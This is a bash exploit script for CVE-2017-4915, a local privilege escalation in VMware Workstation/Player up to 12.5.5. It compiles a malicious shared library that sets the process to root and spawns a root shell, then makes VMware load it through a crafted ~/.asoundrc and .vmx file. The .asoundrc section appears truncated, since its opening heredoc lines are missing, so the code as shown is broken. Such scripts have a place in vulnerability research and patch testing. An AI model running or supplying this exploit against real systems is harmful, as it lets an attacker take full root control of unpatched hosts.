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Exploit for CVE-2017-4915
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#!/bin/bash | |
################################################################################ | |
# VMware Workstation Local Privilege Escalation exploit (CVE-2017-4915) # | |
# - https://www.vmware.com/security/advisories/VMSA-2017-0009.html # | |
# - https://www.exploit-db.com/exploits/42045/ # | |
# # | |
# Affects: # | |
# - VMware Workstation Player <= 12.5.5 # | |
# - VMware Workstation Pro <= 12.5.5 # | |
################################################################################ | |
# ~ bcoles | |
VM_PLAYER=/usr/bin/vmplayer | |
GCC=/usr/bin/gcc | |
RAND_STR=$(echo $RANDOM | tr '[0-9]' '[a-zA-Z]') | |
VM_DIR=$HOME/.$RAND_STR | |
echo "[*] Creating directory $VM_DIR" | |
mkdir "$VM_DIR" | |
if [ $? -ne 0 ] ; then | |
echo "[-] Could not create $VM_DIR" | |
exit 1 | |
fi | |
echo "[*] Writing $VM_DIR/$RAND_STR.c" | |
cat > "$VM_DIR/$RAND_STR.c" <<EOL | |
#define _GNU_SOURCE | |
#include <stdlib.h> | |
#include <string.h> | |
#include <stdio.h> | |
#include <unistd.h> | |
#include <fcntl.h> | |
#include <sys/prctl.h> | |
#include <err.h> | |
extern char *program_invocation_short_name; | |
__attribute__((constructor)) void run(void) { | |
uid_t ruid, euid, suid; | |
if (getresuid(&ruid, &euid, &suid)) | |
err(1, "getresuid"); | |
printf("[*] Current UIDs: %d %d %d\n", ruid, euid, suid); | |
if (ruid == 0 || euid == 0 || suid == 0) { | |
if (setresuid(0, 0, 0) || setresgid(0, 0, 0)) | |
err(1, "setresxid"); | |
printf("switched to root UID and GID"); | |
system("/bin/bash"); | |
_exit(0); | |
} | |
} | |
EOL | |
echo "[*] Compiling $VM_DIR/$RAND_STR.c" | |
$GCC -shared -o "$VM_DIR/$RAND_STR.so" "$VM_DIR/$RAND_STR.c" -fPIC -Wall -ldl -std=gnu99 | |
if [ $? -ne 0 ] ; then | |
echo "[-] Compilation failed" | |
exit 1 | |
fi | |
echo "[*] Removing $VM_DIR/$RAND_STR.c" | |
rm "$VM_DIR/$RAND_STR.c" | |
echo "[*] Writing $HOME/.asoundrc" | |
lib "$VM_DIR/$RAND_STR.so" | |
func "conf_pulse_hook_load_if_running" | |
} | |
EOL | |
echo "[*] Writing $VM_DIR/$RAND_STR.vmx" | |
cat > "$VM_DIR/$RAND_STR.vmx" <<EOL | |
.encoding = "UTF-8" | |
config.version = "8" | |
virtualHW.version = "8" | |
scsi0.present = "FALSE" | |
memsize = "4" | |
ide0:0.present = "FALSE" | |
sound.present = "TRUE" | |
sound.fileName = "-1" | |
sound.autodetect = "TRUE" | |
vmci0.present = "FALSE" | |
hpet0.present = "FALSE" | |
displayName = "$RAND_STR" | |
guestOS = "other" | |
nvram = "$RAND_STR.nvram" | |
virtualHW.productCompatibility = "hosted" | |
gui.exitOnCLIHLT = "FALSE" | |
powerType.powerOff = "soft" | |
powerType.powerOn = "soft" | |
powerType.suspend = "soft" | |
powerType.reset = "soft" | |
floppy0.present = "FALSE" | |
monitor_control.disable_longmode = 1 | |
EOL | |
echo "[*] Disabling VMware hint popups" | |
if [ ! -d "$HOME/.vmware" ]; then | |
mkdir "$HOME/.vmware" | |
fi | |
if [ -f "$HOME/.vmware/preferences" ]; then | |
if grep -qi "hints.hideall" "$HOME/.vmware/preferences"; then | |
sed -i 's/hints\.hideAll\s*=\s*"FALSE"/hints.hideAll = "TRUE"/i' "$HOME/.vmware/preferences" | |
else | |
echo 'hints.hideAll = "TRUE"' >> "$HOME/.vmware/preferences" | |
fi | |
else | |
echo '.encoding = "UTF8"' > "$HOME/.vmware/preferences" | |
echo 'pref.vmplayer.firstRunDismissedVersion = "999"' >> "$HOME/.vmware/preferences" | |
echo 'hints.hideAll = "TRUE"' >> "$HOME/.vmware/preferences" | |
fi | |
echo "[*] Launching VMware Player..." | |
$VM_PLAYER "$VM_DIR/$RAND_STR.vmx" | |
echo "[*] Removing $HOME/.asoundrc" | |
rm "$HOME/.asoundrc" | |
echo "[!] Remove $VM_DIR when you're done" | |
rmdir "$VM_DIR" | |
################################################################################ | |
# EOF |
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Moved here:
https://github.com/bcoles/local-exploits/blob/master/CVE-2017-4915/cve-2017-4915.sh